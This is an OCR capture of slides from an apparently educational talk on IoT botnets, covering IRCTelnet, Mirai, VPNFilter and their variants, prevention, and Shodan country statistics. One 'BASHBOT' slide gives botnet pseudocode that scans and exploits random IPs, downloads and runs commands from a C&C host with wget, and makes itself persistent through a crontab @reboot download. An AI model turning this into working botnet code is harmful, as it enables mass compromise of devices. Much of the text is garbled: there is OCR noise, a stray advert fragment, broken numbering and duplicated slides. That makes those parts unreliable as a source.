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Discovered in October 2016 by MalwareMustDie!, a white-hat security research group, Linux/IRCTelnet is
an Internet Relay Chat (IRC) botnet that was created using ELF (Executable and Linkable Format) binaries, a
common file format for Linux and UNIX-based systems. This format is used in the firmware of many loT
devices including routers, DVRs, and IP cameras. In the samples they studied, the research group noted
that Linux/IRCTelnet targets loT devices and compromises them via the telnet protocol. Much like Mirai, this
botnet exploits default and hardcoded credentials or uses brute-force techniques to compromise the Linux-
based devices. They also determined that Linux/IRCTelnet is actively using the Mirai botnet's leaked loT
credentials list. It also emulates the Bashlight botnet in its telnet-scanning capabilities. Despite the
similarities to these botnets, the research group has determined that Linux/IRCTelnet was built from the

source code of the Aidra botnet.
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IT security researchers have uncovered a new strain of malware that targets digital
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krebsonsecurity.com —> 620Gbps
OVH.com —> 1Tbps
Dyn - DNS —> Twitter, Spotify, Reddit

Its variants!



Vliral variants

*Satori (enlightement)
* (Pure)Masuta (master)
*Okiru (rise)
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*OMG
* Droxy

*Wicked family
*persistence



APT?



APT?

Advanced persistent threat



VPNFIlter

stage 1 —> persistence
stage 2 —> module loader



VPNFIlter stage 3
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HideNSeek

C&C-less design
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Impact of loT botnets

Kenneth Currin Paras Jha —> Mirai
Schuchman

—> Satori
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Prevention

Intrusion Detection System
Firewall rules

REBOOT
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what language to choose?
what communication protocol to choose?
what spreading method to use?



Shodan.io

Search engine for loT
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Top Countries

. Brazil

. India

. Indonesia

. Iran, Islamic Republic of

. United States
. Russian Federation
. Bangladesh
9. Thailand
10. Argentina

1
2
3
4
5. South Africa
6
7
8




0] exploitation
DEMO

A Reference
for the

Rest of Us!
FREE eTips at dummies.com*



Me

Router



Router












BASHBOT

The 60 minute botnet written in bash



while true{
1p = gen_ip()
exploit(ip)
wget http://cnc.ip/command
./command



persistence(){
crontab -l > cron.b
echo "@reboot wget Scnc/payload” >> cron.b
crontab cron.b
rm cron.b



| eaked sources

*Mirai

*LightAidra
*BASHLITE/Gafgyt/QBot
parts of brickerbot
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The skid way

15S/cnc —> Mirai
10S/cnc —> Qbot

“stressers”



The skid way

15S/cnc —> Mirai
10S/cnc —> Qbot

“stressers”

€Q 0"3 NII'I' lIH FIIlI‘. YII

mgfﬁ?wm




Conclusion

 age of APT loT botnets

* persistence

* multi-stage
* making an loT botnet is EASY
 vendors should do something about it
* rebooted router is a happy router!!



Q&A

My thanks goes to Adolf Streda and Anna Shirokova of AVAST.
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